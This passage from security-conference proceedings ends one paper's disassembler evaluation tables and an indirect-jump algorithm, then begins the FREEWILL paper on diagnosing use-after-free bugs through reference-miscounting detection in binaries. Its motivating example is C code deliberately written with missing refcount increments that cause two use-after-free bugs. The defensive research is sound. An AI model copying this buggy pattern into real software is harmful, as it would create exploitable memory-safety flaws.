tremendous FNs and a meaningful group of FPs, presenting a
lower utility than ORACLEGT. As shown in Listing 6, debug
information only carries the locations of some instructions
but not of them and [5] only runs conservative disassembly
between two continuous locations, which leads to the plenty
of false negatives. Further, as illustrated in Listing 7, the de-
bug information can be inaccurate and thus, also leads to false
positives of [5].

Algorithm 1: FIND INDIRECT JUMPS.
Input : A list of cross reference to identified jump table:

⃗JT R = { jtr1, jtr2, ..., jtrn}
Input : Control flow graph of functions: CFG
Output : A list of mappings between cross references to jump

table and indirect jumps:
M⃗ = {( jtr1, i j1),( jtr2, i j2)...,( jtrn, i jn)}

/* i ji represents ith founded indirect jump. */
1 Procedure taint_instruction(I):
2 tainted = false
3 for each register Rr used for reading in I do
4 if Rr .is_tainted() then
5 tainted = true
6 end
7 end
8 for each register Rw used for writing in I do
9 if tainted then

10 Rw.taint()
11 else
12 Rw.clear_taint()
13 end
14 end
15 return
16 Initialization: M⃗ = /0; f ixpoint = f alse
17 while ¬ f ixpoint do

/* Loop until ⃗CFG could not not updated. */
18 f ixpoint = true
19 for each jtri in ⃗JT R do
20 Q⃗ = /0

21 I = CFG.get_instr( jtri) /* get the instruction
contains jtri */

22 I .taint_initialize()
23 Q⃗.push(I )
24 while Q⃗.is_not_empty() do
25 I = Q⃗.pop()
26 taint_instruction(I )
27 if I .is_tainted() and I .is_indirect_jump() then
28 f ixpoint = f alse
29 M⃗.add(( jtri, instruction))
30 ⃗CFG.update(I , jtri) /* update ⃗CFG

according to the jump table
information */

31 ⃗JT R.remove( jtri)
32 break
33 end
34 Q⃗.append(CFG.get_successors(I ))
35 end
36 end
37 end
38 return M⃗;

Table 6: The number of FPs and FNs incurred by [5].

OPT O0 O1 O2 O3 Os Of

# of FPs 301 361 501 690 361 908
# of FNs 2,764K 898K 444K 471K 497K 466K
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Table 7: Evaluation results of instruction recovery, function start detection, and jump table reconstruction by mainstream
disassemblers on ARM32/AArch64/MIPS binaries. In the colloumns, O indicates the optimization level; T means ARM32
Thumb mode; Pre and Rec represent precision and recall. We merge the results of MIPS32 and MIPS64 as their instruction
encoding is similar. The best/worst results specific to each optimization level are respectively marked in blue/red color.

Arch O Objdump Ghidra Angr Radare2 IDA Ninja
Pre Rec Pre Rec Pre Rec Pre Rec Pre Rec Pre Rec

In
st

ru
ct

io
ns A
R

M

32

O2 93.77 99.99 99.95 97.57 99.04 99.53 92.79 41.24 99.99 97.97 99.99 99.03
O3 94.42 99.99 99.96 97.79 98.93 99.46 91.41 40.72 99.99 98.09 99.99 98.85
Os 95.95 99.99 99.97 97.54 97.19 98.42 91.93 42.80 99.99 98.89 99.98 98.50
Of 94.47 99.99 99.94 97.69 99.01 99.47 92.26 39.32 99.99 98.05 99.99 98.87

T

O2 72.25 57.56 99.93 93.31 98.82 99.03 98.34 46.29 99.90 97.29 99.65 86.57
O3 73.10 57.27 99.94 89.24 98.78 99.02 98.91 45.07 99.90 97.33 99.64 83.56
Os 75.26 57.39 99.91 92.93 96.80 98.94 99.24 48.45 99.89 97.77 99.70 90.13
Of 73.14 57.28 99.94 89.16 98.78 99.02 98.79 46.47 99.90 97.32 99.67 83.59

64

O2 100.0 100.0 100.0 94.21 100.0 99.99 100.0 79.07 100.0 97.48 100.0 98.29
O3 100.0 100.0 100.0 93.70 100.0 100.0 100.0 83.47 100.0 97.72 100.0 98.20
Os 100.0 100.0 100.0 94.30 100.0 100.0 100.0 84.02 100.0 97.68 100.0 97.94
Of 100.0 100.0 100.0 94.10 100.0 100.0 100.0 79.64 100.0 97.54 100.0 97.94

M
ip

s 32
&
64

O2 100.0 100.0 100.0 77.88 100.0 99.85 100.0 57.15 100.0 99.10 99.99 68.04
O3 100.0 100.0 100.0 74.11 100.0 99.85 100.0 54.46 100.0 99.36 99.99 69.24
Os 100.0 100.0 100.0 83.52 100.0 99.86 100.0 67.16 100.0 99.06 99.99 71.20
Of 100.0 100.0 100.0 74.44 100.0 99.85 100.0 54.58 100.0 99.37 99.99 67.85

Fu
nc

tio
ns A

R
M

32

O2 – – 95.12 68.42 71.39 85.50 69.43 32.83 93.60 56.75 96.31 88.98
O3 – – 94.93 70.97 68.14 83.75 69.28 32.67 93.29 54.75 96.24 88.91
Os – – 96.12 69.40 63.43 83.90 72.49 34.11 93.48 60.52 96.43 87.96
Of – – 95.04 70.91 68.27 83.30 71.94 32.69 93.34 54.51 96.29 88.76

T

O2 – – 95.42 67.25 42.63 62.64 79.77 30.71 83.67 55.60 84.07 62.13
O3 – – 95.39 66.55 39.47 61.47 79.60 29.83 83.55 53.48 79.87 60.45
Os – – 95.05 65.00 42.17 70.33 81.01 32.51 84.22 59.15 87.64 66.19
Of – – 95.47 66.54 39.49 61.22 79.91 30.35 83.68 53.26 80.49 60.74

64

O2 – – 89.55 80.75 78.14 89.23 87.97 67.94 99.35 56.61 99.08 94.73
O3 – – 88.75 80.88 75.92 87.83 86.36 68.88 98.73 54.33 98.81 93.58
Os – – 97.74 81.96 89.08 97.83 87.14 69.16 95.02 57.49 97.82 92.64
Of – – 88.91 81.17 75.61 88.02 86.40 69.41 99.36 55.51 98.81 93.73

M
ip

s 32
&
64

O2 – – 98.60 62.33 56.42 83.32 96.05 51.99 99.81 71.27 64.27 75.26
O3 – – 98.22 58.76 54.72 81.13 96.06 49.35 99.81 71.28 63.20 73.82
Os – – 98.81 69.99 65.76 89.00 99.58 58.17 99.86 76.25 65.89 78.24
Of – – 98.21 59.25 53.83 81.23 96.10 49.45 99.82 71.62 62.91 73.36

Ju
m

p
Ta

bl
es

A
R

M

32

O2 – – 93.87 93.77 22.12 95.85 10.27 10.48 99.29 95.19 98.65 97.97
O3 – – 87.04 86.62 21.14 94.47 11.17 11.75 98.99 81.54 98.58 97.14
Os – – 93.27 93.30 14.31 96.02 6.33 5.94 99.59 95.68 98.47 98.24
Of – – 86.85 86.43 21.31 95.14 9.82 10.49 99.04 81.67 98.67 97.25

T

O2 – – 98.57 97.54 15.41 83.42 50.16 46.83 99.63 99.50 99.19 98.62
O3 – – 98.59 91.52 14.69 82.58 59.95 55.77 99.73 99.60 98.21 97.45
Os – – 97.63 97.29 9.51 81.11 47.63 46.57 99.91 99.75 98.98 98.84
Of – – 98.50 91.14 14.62 82.44 59.86 56.34 99.73 99.60 98.21 97.45

64

O2 – – 99.32 86.62 14.47 41.06 11.11 0.01 96.16 98.17 98.63 95.74
O3 – – 99.23 95.03 15.28 41.34 0.00 0.00 94.88 96.01 98.55 98.11
Os – – 99.45 98.36 15.05 41.97 0.00 0.00 93.12 94.05 83.49 83.41
Of – – 99.17 85.31 14.41 40.96 0.00 0.00 95.55 96.71 97.65 95.69

M
ip

s 32
&
64

O2 – – 97.74 41.90 6.94 19.06 14.28 0.01 82.09 51.38 94.59 57.32
O3 – – 97.30 36.64 7.27 16.19 14.28 0.01 81.59 51.81 91.14 55.73
Os – – 97.58 49.04 5.31 19.97 16.66 0.01 80.32 52.92 92.45 58.51
Of – – 97.31 37.51 7.82 16.45 0.00 0.00 81.58 51.82 87.90 54.70

USENIX Association 31st USENIX Security Symposium    2495





FREEWILL: Automatically Diagnosing Use-after-free Bugs via
Reference Miscounting Detection on Binaries

Liang He1∗ Hong Hu2∗ Purui Su1,3,4� Yan Cai3 Zhenkai Liang5

1TCA / 3SKLCS, Institute of Software, Chinese Academy of Sciences
2Pennsylvania State University

4School of Cyber Security, University of Chinese Academy of Sciences
5National University of Singapore

Abstract
Memory-safety issues in operating systems and popular appli-
cations are still top security threats. As one widely exploited
vulnerability, Use After Free (UAF) resulted in hundreds of
new incidents every year. Existing bug diagnosis techniques
report the locations that allocate or deallocate the vulnerable
object, but cannot provide sufficient information for develop-
ers to reason about a bug or synthesize a correct patch.

In this work, we identified incorrect reference counting
as one common root cause of UAF bugs: if the developer
forgets to increase the counter for a newly created reference,
the program may prematurely free the actively used object,
rendering other references dangling pointers. We call this
problem reference miscounting. By proposing an omission-
aware counting model, we developed an automatic method,
FREEWILL, to diagnose UAF bugs. FREEWILL first repro-
duces a UAF bug and collects related execution trace. Then,
it identifies the UAF object and related references. Finally,
FREEWILL compares reference operations with our model to
detect reference miscounting. We evaluated FREEWILL on 76
real-world UAF bugs and it successfully confirmed reference
miscounting as root causes for 48 bugs and dangling usage
for 18 bugs. FREEWILL also identified five null-pointer deref-
erence bugs and failed to analyze five bugs. FREEWILL can
complete its analysis within 15 minutes on average, showing
its practicality for diagnosing UAF bugs.

1 Introduction

Memory-unsafe languages, like C/C++, are widely used to im-
plement complex software systems, such as operating systems
and web browsers, but unfortunately, they have resulted in a
large number of exploitable vulnerabilities [37]. As one of the
most sophisticated bugs, Use After Free (UAF) bugs are still
popular, with 200 to 300 instances founded every year in main
stream applications [19]. Researchers have proposed various
solutions to detect UAF bugs at different stages of program

∗The two lead authors contributed equally to this work.

executions [29,34,38–41,44,46,50,55]. However, diagnosing
a reported UAF bug, i.e., identifying the root cause to fix the
bug, is still challenging and time-consuming.

Based on the operations involved in these bugs, there could
be two reasons leading to UAF bugs. The first reason is that
the program mistakenly uses a dangling pointer to access
a correctly freed object, which we call dangling usage. Re-
searchers have proposed several methods to track dangling
pointers [33,34] and identify locations of dangling usages [41].
The second reason is that an object is incorrectly freed, mak-
ing remaining references dangling and all future uses invalid.
There is not much research for diagnosing incorrect frees, as it
is natural to believe that free operations are invoked by devel-
opers intentionally and such problems can only be identified
and fixed through manual code review.

However, after analyzing a large number of recent UAF
vulnerabilities, we observe that UAF bugs caused by incorrect
frees are common in real-world programs, especially in pro-
grams that rely on reference counting (referred to as refcount-
ing hereinafter) to manage memory objects [26]. For each
object, when a new reference is created, e.g., being assigned
to a member of an object, its reference counter (referred to
as refcounter hereinafter) should be incremented; when an
existing reference is destroyed, e.g., freeing an object con-
taining the reference, its refcounter should be decremented. If
the program fails to increase the refcounter properly [7], the
program may free objects in a premature way, rendering all
references as dangling pointers and resulting in UAF bugs.

UAF bugs caused by incorrect refcounting can be abused
by attackers to build powerful attacks. For example, a refer-
ence miscounting error that exists in Linux for more than 15
years (2006 to 2021) introduces a UAF bug during the boot-
ing process (Commit-8fd0e99 in our evaluation) [10]. Even
worse, these bugs are difficult for human analysts to diag-
nose, which usually leads to incomplete patches and insecure
systems. For example, partial patches for MacOS kernel bug
CVE-2016-1828 and PHP script engine bug BUG-68594 still
allow attackers to compromise patched systems.
Problem. We use the term reference miscounting to represent
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the programming error where developers fail to increase the
refcounter for a newly created reference. We summarize two
types of reference miscountings that can cause UAF bugs. (1)
Mistaken omission. Considering the high overhead of count-
ing all references [42, 43], coordinated omission of unneces-
sary refcounting is encouraged to optimize performance [17].
However, if there is a wrong omission, the program will miss
the increment of the refcounter and the corresponding object
could be prematurely freed. (2) Inconsistent decrease. If there
is only a decrease to a refcounter without any corresponding
increase, the refcounter will prematurely become zero. For
example, it is common for the callee function to release the
references of its parameters, i.e, decrementing the refcounter.
However, if the caller function forgets to increment the ref-
counter, there is an obvious reference miscounting.

There are two major challenges to the diagnosis of ref-
erence miscounting. The first one is the matching problem:
it is difficult to match an increment with the corresponding
reference creation, as there is no consistent rule mandating
the increment before or after a reference creation. Besides,
refcounter can be updated using any existing reference. It
becomes worse if refcounting is encapsulated by nested non-
inlined functions in binary programs. The second challenge is
the existence of a large number of count-omission optimiza-
tions. For example, if the lifespans of two references R0 and R1
are overlapped, developers prefer to use only one increment
on R0 and one decrement on R1 to keep the object alive. To
diagnose reference miscounting, we need to correctly identify
all reference lifetimes and calculate their relationships, which
cannot be efficiently solved by existing mechanisms.
Approach. In this paper, we propose a trace-based method
to efficiently diagnose UAF bugs caused by reference mis-
counting. First, to calculate the reference relationships, we
propose an omission-aware refcounting model to describe
the expected counting and omission behaviors. We propose
four omission rules to help us to detect reference miscounting.
Second, we develop practical methods to automatically iden-
tify the lifetimes of UAF objects, all related references and
refcounting operations from the execution traces. Then, we
use distance-based methods to match the refcounting opera-
tion with a proper reference. Finally, we propose an automatic
method to detect mismatches between the actual refcounting
operations and the expected behaviors. If we confirm there is
no reference miscounting, we report all dangling pointers as
the diagnosis results. Besides the bug diagnosis, our method
can also help synthesize correct patches. Specifically, when
we find a missing refcounter increment, our tool will suggest
adding the increment back to fix the UAF bug.
Result. We implement a tool called FREEWILL based on dy-
namic instrumentation and offline trace-based analysis. By
extending the hardware emulator QEMU [22], our tool can
diagnose large-scale GUI-based programs without the source
code. We evaluated FREEWILL on diagnosing 76 real-world
UAF bugs, including 32 bugs from Internet Explorer (IE),

1. typedef struct{ int ref;} A; A* gpA;

2. typedef struct{ A* _pA;} B; B* gpB;
3. void clone(B** b1, B* b2){ /*IE: CVE-2010-0249 */

4. memcpy(*b1, b2, N2); /* Mistaken Omission */

5.}

6. void filename_lookup(A* lpA){/*linux:Commit-c3aabf0*/

7. dec_ref(lpA); /* Inconsistent Decrease */

8. }

9.void demo_code(){

10. A* pA=(A*)malloc(N1); /*R0*/

11. pA->ref=1;

12. ...

13. gpA=pA; /*R1*/

14. B* pB=(B*)malloc(N3);
15. pB->_pA = pA; /*R2*/

16. gpB=(B*)malloc(N3);

17. clone(&gpB, pB); /*R3*/

18. pB->_pA = NULL;

19. free(pB);

20. filename_lookup(pA); /*R4*/ /* Free */

21.}

22.void main(){

23. demo_code();

24. dec_ref(gpA); /* UAF-1 */

25. printf(gpB->_pA->ref); /* UAF-2 */

26. free(gpB);

27.}

Figure 1: Motivating Example.

Firefox and Chrome, 21 bugs from Linux and MacOS kernels,
23 bugs from Python and PHP script engines. FREEWILL
successfully confirmed that 48 bugs are caused by reference
miscounting, 18 bugs are caused by dangling usage and 5
bugs are caused by null-pointer dereference. FREEWILL fails
to analyze two bugs due to custom heap managers. Three
bugs cannot be reproduced in our instrumented environment.
Besides, FREEWILL produced 56 patch suggestions matched
with official patches, pinpointed three wrong official patches
and gave one wrong suggestion as it cannot handle race prob-
lems. FREEWILL completes each bug analysis within 15
minutes on average.

In summary, the main contributions of this paper include:

• Reference Miscounting Model. We proposed an
omission-aware refcounting model, which can detect
two types of reference miscounting bugs.

• Practical Methods. We develop several novel practical
techniques for binary UAF diagnosis, including taint-
based reference analysis, heuristic refcounter identifica-
tion, and distance-based refcounting matching.

• Automatic Tool. We implemented FREEWILL and eval-
uated it on 76 real-world UAF bugs. The results validated
the effectiveness and practicality of our approach.
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2 Background

2.1 Motivating Example

Figure 1 contains a motivating example showing how refer-
ence miscounting errors lead to UAF bugs. The code defines
two structures, A and B, and two global pointers, gpA and gpB.
A uses a refcounter ref for its instance life cycle; B only
has a member _pA, a pointer of an A instance. It simulates
two real-world buggy functions from Linux kernel and IE:
filename_lookup and clone. Then, it uses demo_code to call
the two buggy functions and related operations. The main
function invokes demo_code and triggers two UAF bugs.

In demo_code, the code first creates an A instance, say α,
and sets its ref to 1 as its first reference R0 is now created and
hold by pA. Now, the value of ref is 1.
Two Valid Omissions. After allocation and initialization, a
global reference R1 is created and stored into gpA. As the
lifetime of global R1 overlaps with the local R0, the code safely
omits the increase and just uses a single decrease for R1. Next,
it creates a B instance and initializes its member _pA with pA
where a new reference R2 is created. As the lifetime of R2 is
contained into the one of R1, the code omits the refcounting
for this new reference. Now, the value of ref is still 1.
Reference Miscounting-1 (RM1). At Line 16-17, a second
B instance is created and stored into the global variable gpB.
Then by calling clone, the code copies all memory content
pointed by pB into the memory pointed by gpB. Note that a
new reference R3 will be created after the memcpy. As R3 will
be used outside demo_code, there is a mistaken omission and
the value of ref is still 1.
Reference Miscounting-2 (RM2). At Line 20, the code fails
to call inc_ref but directly calls filename_lookup in which
dec_ref is called to decrease the ref. Here, a reference R4 is
created on stack and destroyed when the code returns from
the function. Now, the value of ref is decreased to 0, and,
unfortunately, the instance α will be prematurely freed.
Two Dangling Pointer (DP1&DP2). At Line 18, R2 in _pA
is destroyed by the nullification. Besides, R0 in pA will also
be removed by the destruction of the stack frame. However,
there are two dangling pointers gpA and gpB->_pA storing two
references, R1 and R3.
UAF Bugs. In the function main, there are two UAF bugs
due to the uses of two aforementioned dangling pointers. The
first bug happens at Line 24 where the code dereferences the
dangling pointer gpA to complete a correct dec_ref as the
pointer will never be used anymore. The second bug is caused
by the access of the dangling pointer gpB->_pA at Line 25 as
it wants to display ref of the instance α.

2.2 Limitation of Existing Diagnoses

Several state-of-the-art methods have been proposed to pre-
vent and diagnose UAF bugs. In Table 1, we compare the

Table 1: Diagnoses from Existing Solutions on Figure 1.
DP = Dangling Pointer, RM = Reference Miscounting.

Diagnosis Results DP1 DP2 RM1 RM2
Dangling Access Locations 4 8 8 8
Dangling Pointers 4 4 8 8
Refcounting Inconsistencies 8 8 8 4

Our Goal 4 4 4 4

diagnosis results on our example code from these methods.
Dangling Access Locations. There have been several kinds
of UAF prevention schemes [20, 29, 34, 41, 44, 52] owning
ability to precisely report dangling access locations. Besides,
by encoding detailed information into the object memory
region [41] or pointer address [34], they can provide other
critical locations, such as object allocation and deallocation.
In our example, these methods will stop after identifying the
first UAF bug and report malloc (Line 10), free (Line 7) and
reuse (Line 24). However, with these locations, developers
still have no idea about the existence of reference miscounting.
The reuse location (Line 24) can even mislead them as it is a
correct access to release R1 stored in gpA.
Dangling Pointers. While the work using pointer tracking or
sweeping [20, 23, 34, 44, 50, 55] can provide the details of all
dangling pointers, they rely on developers to investigate the
root reason of dangling pointers. Besides, dangling pointers
may not be the problematic one. For example, gpA is correctly
used to call dec_ref. Finally, the reference miscounting of R4
(RM2) will be missed as it is not a dangling pointer.
Refcounting Inconsistencies. Statically detecting the in-
consistencies between refcounting changes and reference
changes [30, 35, 45], or between refcounter increment and
decrement [32, 48], can detect reference miscounting. How-
ever, considering the limitations of static program analysis,
such as alias analysis (especially on binaries), all of them
suffer from high false positives and false negatives. In our
example, given the source code, they can identify the second
reference miscounting as the explicit inconsistent decrease
at Line 20. However, they cannot effectively detect mistaken
omission at Line 17 (RM1) as the alias pointer (R3) in gpB is
implicitly copied from the alias pointer (R2) in pB.

2.3 Our Goal and Assumptions

Given a UAF bug, our goal is to determine whether it is caused
by reference miscounting; if so, pinpoint the location that
misses the refcounting, and suggest a correct patch. If there
is no reference miscounting, we should also report the dan-
gling pointers based on our traced-based analysis. Our method
should diagnose UAF bugs efficiently to support real-world
large programs with or without the source code. Finding new
program failures or UAF bugs is out of the scope of this work.
Assumptions. Our approach does not require the source code
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of the vulnerable program, but we assume that we can identify
heap-related APIs, like malloc and free. This is possible for
most benign programs, which clearly state these APIs in their
import descriptors. Further, our solution requires at least one
Proof-of-Concept (PoC) input. These inputs are commonly
provided by bug reporters, or from fuzzing techniques [1, 25,
57].

2.4 Challenges

To detect reference miscounting issues and suggest practical
patches, we have to solve the following challenges:
C1: Precisely Identifying the Lifetimes of UAF Objects.
Modern allocators prefer to reallocate freed heap blocks to
improve the performance. Therefore, before a UAF bug is
triggered, a freed block could have been reallocated many
times, which can confuse analysis. Existing solutions mainly
rely on source code for detection [41] or tracking pointers
of all objects [23]. They cannot efficiently identify the life-
times of UAF objects, especially for large-scale binary-only
programs.
C2: Automatically Identifying Refcounting on Binary Ex-
ecution Trace. Confirming if the bug is introduced by refer-
ence miscounting relies on the fact that the object is managed
by refcounting. Unfortunately, there are many similar kinds of
counters (e.g., Loop Counter, Object Counter) that can cause
many false positives, especially when no source code can be
used to look for their semantic meaning.
C3: Precisely Matching Refcounting Operations with
References. First, developers may perform the refcount-
ing on any existing reference. It is common to find
Ri->addRef();Rj=Ri; and Rj=Ri;Rj->addRef(); in the
same program to count a new created reference Rj. Second,
there is no consistent rule mandating the time to update the
refcounter. Ideally, developers should update the refcounter
immediately after the creation or destruction of a reference.
However, due to the compiler optimization and encapsulation
of refcounting, we may distinguish these two types of actions
from each other with various distances.

3 Reference Miscounting Detection

Reference Representation. To assist our description, we
define a reference as a 4-tuple record (+, Tc, -, Td): + and
- are boolean values, indicating whether the increment and the
decrement of the corresponding refcounter are identified or
not; Tc and Td are the creation time and the destruction time
of the reference, respectively. In the implementation §5.1, we
use the instruction ID in the trace to represent Tc and Td .

Inspired by reference escape analysis [56] which uses the
analysis of reference lifetime to optimize (omit) refcounting,
we propose an omission-aware refcounting model. Our ba-
sic rule is, for any interesting reference, the refcounting or
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Figure 2: Reference Miscounting Detection on Figure 1.

its omission should guarantee the object’s liveness until all
references are destroyed. We use the following four practical
omission rules (ORs) to check if every omission is valid.
OR1: Overlapping Omission. For two references Ri and Rj,
if Ri.Tc < Rj.Tc < Ri.Td < Rj.Td , we say the two references
are overlapped, and - of Ri and + of Rj can be safely omitted.
Any reference can only have one overlapped reference.
OR2: Transmitting-Overlapping Omission. For any num-
ber of references R1, ..., RN, if for any reference Ri (1<i6N),
Ri-1.Tc < Ri.Tc < Ri-1.Td < Ri.Td , we say these references
are transmitting-overlapped, and in this case, - of R1, (+, -) of
Ri (1<i<N), and + of RN can be safely omitted.
OR3: Containing Omission. For two references Ri and Rj,
if Ri.Tc < Rj.Tc < Rj.Td < Ri.Td , we say Rj is contained in
Ri and (+, -) of Rj can be safely omitted.
OR4: Overlapping-Containing Omission. For three ref-
erences Ri, Rm and Rj, if Ri and Rj are overlapped based on
OR1 or OR2, and Ri.Tc < Rm.Tc < Rj.Tc and Ri.Td < Rm.Td
< Rj.Td , we say Rm is overlapping-contained in Ri and Rj and
its refcounting (+, -) can be safely omitted.

Figure 2 explains how we use our model to automatically
detect two reference miscountings in the motivating exam-
ple (Figure 1). First, we assume the lifetimes of references
R0-R4 have been detected. Then, based on rule OR1, as R0
and R1 are overlapped, we can tell the omission of - of R0
and + of R1 are safe. Similarly, based on rule OR4, R2 is
overlapping-contained in R0 and R1, so the omission of (+, -)
of R2 is allowed. However, as R3 is not contained in any other
reference, its omission of (+, -) is wrong. Besides, R4 is also
not overlapped with other references, its + omission is also
unexpected.

4 FREEWILL Design

Figure 3 shows the design of FREEWILL, which works in
four main components: UAF object lifetime identification,
reference analysis, refcounting detection, and UAF diagnosis.
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Figure 3: Overview of FREEWILL. FREEWILL takes as
inputs the vulnerable program and the PoC of the bug, and
produces a report of the reference miscounting location.

First, given a vulnerable program with a PoC, FREEWILL
uses dynamic instrumentation to collect bug-triggered exe-
cution trace and identify the lifetimes of UAF objects (§4.1).
Then, FREEWILL uses a gray-tainting method to track ref-
erence creation, destruction and different ways of reference
calculations (§4.2). By identifying the refcounter with the API
symbols or our heuristic method (§4.3), FREEWILL matches
the refcounting with proper references and compares the ac-
tual refcounting behaviors with our omission-aware model to
detect reference miscounting issues (§4.4).

4.1 UAF Object Lifetime Identification

FREEWILL is designed to be a trace-based method and we
chose to use Dynamic Code Instrumentation [8, 15, 51] to
record the bug-triggered execution trace and related runtime
information, e.g., heap allocations and crash point – the invalid
memory access or invalid call instruction causing the program
crashed. If there is no crash, we try to manually confirm if the
program has produced any crash dump file [2, 6].

If the source code is available, FREEWILL can adopt exist-
ing methods, such as AddressSanitizer [41] (ASan), to identify
UAF object lifetimes. Specifically, we recompile the vulnera-
ble program with ASan, and run the generated binary with the
bug-triggering input. ASan adopts a safe memory allocator
that saves all freed objects in a quarantined list and records
their memory status (freed) in the shadow memory. For ev-
ery free-memory access, ASan will detect it by checking the
shadow memory. Note that the quarantined list can efficiently
stop the reallocation of the freed memory [41], which means
one heap block is usually only supplied to one object. There-
fore, as long as the UAF bug is triggered, ASan can detect the
bug and report the UAF object lifetime.

object a’s lifetime

free(a); b = new B;a = new A;

block-1
(busy)

block-2
(free)

free(b);

object b’s lifetime

Heap
Memory

p->fp();

*q = a;

… …

p = *q;

a, *q,  p

b

Figure 4: Heap Block Reallocation. Current allocators prefer
to use one block to satisfy two adjacent same-size requests.

If source code is not available, we develop a backwards
slicing method to efficiently identify the UAF object lifetime.
Specifically, we first assume the program has finally reached a
crash point where a corrupted function pointer fp is accessed.
Then, we slice it backwards to find its parent pointer p point-
ing to a heap block from which fp is loaded. Without any
quarantined list, the heap block could have been reallocated
many times for other requests (e.g., block-2 in Figure 4),
which means the same block has more than one lifetime. To
identify the proper lifetime, we continue the slicing with p
backwards to find the proper object, e.g. object a. Finally,
we identify the object as our target and report its lifetime
if the dereference of p happens after its destruction. In our
experiments, we find the reallocation problem in 18 bugs.

Different from ASan, FREEWILL will not terminate the
program execution until it meets the crash. If the pointer of
the first UAF object can be normal dereferenced, the execution
trace may contain other UAF bugs. For example, in Figure 4,
if the object pointed by q has also been freed before p=*q
is executed, the final crash is actually caused by the second
UAF bug, i.e., p->fp(). We call this kind of bugs Multi-level
UAF (MUAF), which usually happens when dangling pointers
can be still normally dereferenced. To analyze these bugs,
FREEWILL will repeat above steps with parent pointer (q) of
current UAF object pointer (p) until no UAF bug is found. It
will prioritize the diagnosis of the first UAF object. In our
experiments, we find 5 bugs that have MUAF problems.

4.2 Reference Analysis
Within an object lifetime, we can use taint analysis to identify
locations holding the object address. We first identify such
locations as potential references which can be used to create
other new references. After we have tracked all locations, we
select proper references mainly created by programs and filter
out the temporary ones created by compilers.

4.2.1 Potential Reference Tracking

We use the gray-taint tracking method (details in §5.2) to
detect potential references in the following three categories.
Reference Creation. We identify a creation of a new ref-
erence when an object address is saved to a register or any
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memory location, no matter whether this location is on heap,
stack or global region. For example, instructions mov [mem],
eax and push eax create two new references if the register eax
contains an object reference.
Reference Destruction. There are two cases that lead to
destruction of a reference: the memory holding the reference
is overwritten by a different value, or the memory holding
the reference is not being used any more. The second case
includes two scenarios: a heap memory is not used due to
memory deallocation, or a stack memory is not used due to
function return. We inspect memory write operations, function
calls to free and return-related instructions to detect them.
Reference Computation. Arithmetic and logical instructions
(e.g., add, sub, lea, and, or, mul, div and xor) can also cre-
ate or destroy references. Here we use C-R to represent a
computed reference. We use gray-taint to track the whole
propagation of each C-R reference, which not only helps us
find critical references that lead to UAF bugs, but also dis-
closes valuable reasons and classify these bugs. For example,
if R2 has lifetime R0->C-R1->R2 and its creation has been mis-
counted, one possible reason is that R1 is incorrectly treated
as non-reference data during the computation.

4.2.2 Strong Reference Identification

A key issue of the method above is that there are too many
temporary references created by compilers. For example, in
Figure 1, the source code gpA=pA will be compiled into two
low-level instructions. One is used to load the reference from
pA to a register and the second is used to create a new reference
in gpA. To facilitate our diagnosis, we mark the following
references with strong tags based on where they are stored.
Heap Reference. These references are usually created by
developers and most of the refcounting operations are used
to count them. To identify heap references, we first record all
heap allocations with their ranges. Then, any reference stored
into one of these locations will be marked with a strong tag.
Stack Reference. We only track references stored on stacks
if they are: (1) local variables. We recognize local variable
space by checking instructions that manipulate stack frame
pointers, and mark all references stored in these spaces as
strong. (2) function arguments. We treat a reference pushed
into the stack as a function argument if a call instruction is
followed shortly. Note that we will filter out any location that
is used in a push-pop pair for a temporary storage.

4.3 Refcounting Detection

When the program source code is available, we request soft-
ware developers to annotate the refcounter increase/decrease
locations. Fortunately, most systems adopting refcounting
provide dedicated functions for these operations, e.g., ref_get,
inc_ref for increase and ref_put, dec_ref for decrease. Even if
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Figure 5: Detection of CTreeNode Refcounter by a Control
Dependent Free.

these functions are inlined, we can use the debug information
to reliably identify the refcounting instructions.

In case we only have program binaries, we can use heuris-
tics to identify refcounting operations. A recent work [48]
proposes to identify refcounters from Linux kernel through
the following heuristics, which we call HR-FixStep: refcoun-
ters are usually increased or decreased by a fixed step (e.g., 1).
However, during our testing we find this simple method can
be inaccurate. A common reason is that developers use the
lowest bits of the refcounter as special flags, and any update to
these flags will make this rule fail. Figure 5 demonstrates the
value changes of a CTreeNode refcounter in the IE browser.
Here, IE only uses the highest 29 bits of a 32-bit integer as the
refcounter and treats the lowest 3 bits as flags. When the pro-
gram sets or clears these flags, we will find that the refcounter
is updated via different steps, which makes HR-FixStep fail.

To address this limitation, we propose a new heuristic
method that relies on the control dependency between the
refcounter and the free function to identify refcounters.

HR-CDFree: If refcounter becomes zero, there should be a
free operation that is control-dependent on the refcounter.
Specifically, we collect and build a value sequence for each
object field (e.g., 4 bytes for 32-bit systems and 8 bytes for
64-bit systems) in the trace. When any field becomes zero,
we use a coarse-check method in following execution trace to
confirm if there is a control-dependent free: We first check if a
zero-condition-jmp (e.g., JZ and JNZ) follows shortly and then
detect if a free method is called before the current function
returns. In Figure 5, our new method can precisely identify
the refcounter field because of the control-dependent free.

We applied both heuristic rules on 543 objects that have
different sizes and structures. Based on the ground truth
(65 reference-counted and 478 uncounted objects), our new
method achieves 98% accuracy and 90% precision, while the
previous method only gets 86% accuracy and 43% precision.
We will present more detailed evaluation and analysis in §6.3.

4.4 UAF Diagnosis

To diagnose UAF bugs, we first match actual refcounting
operations with proper references. For each reference, we
compare the refcounting operations with our omission-aware
model, and report any violation as a reference miscounting.

2502    31st USENIX Security Symposium USENIX Association



4.4.1 Refcounting Matching

Based on our statistics, there are mainly two programming
styles to implement refcounting. To achieve higher perfor-
mance, programs written in C (e.g., system kernels or script
engines) prefer to insert an inlined refcounting operation
around the reference creation or destruction. However, to
achieve better encapsulation and reusability in modular and
object-oriented programs (e.g., web browsers), developers
like to use additional classes or non-inlined functions (wrap-
per) to implement refcounting. Therefore, we develop two
distance-based methods to match refcounting with references.
Matching Based on Execution Distance (ED). For programs
using inlined refcounting operations, we develop a simple and
efficient distance-based method to match the refcounting with
the proper reference. Specifically, in every execution trace,
we assign a sequence number N to each instruction based on
its executing order, denoted as Instruction ID (§5.1). Then,
as shown on the top of Figure 6, we use ED = ||Ncount-Nre f || to
measure the distance between a refcounting instruction and
a reference creation or destruction instruction. Finally, we
mark the refcounting and the reference as a matched pair if
they have a minimum distance. For example, in Figure 1,
it is straightforward to match pA->ref=1 with the closest
pA=malloc(). Similarly, the decrease dec_ref(gpA) can also
be matched with the implicit destruction of the stack frame
based on our reference analysis.
Matching Based on Wrapper Distance (WD). For programs
using non-inlined functions to implement refcounting, we first
identify function boundaries by detecting the entry point EP
(i.e., call instruction) and return point RP (i.e., ret instruction)
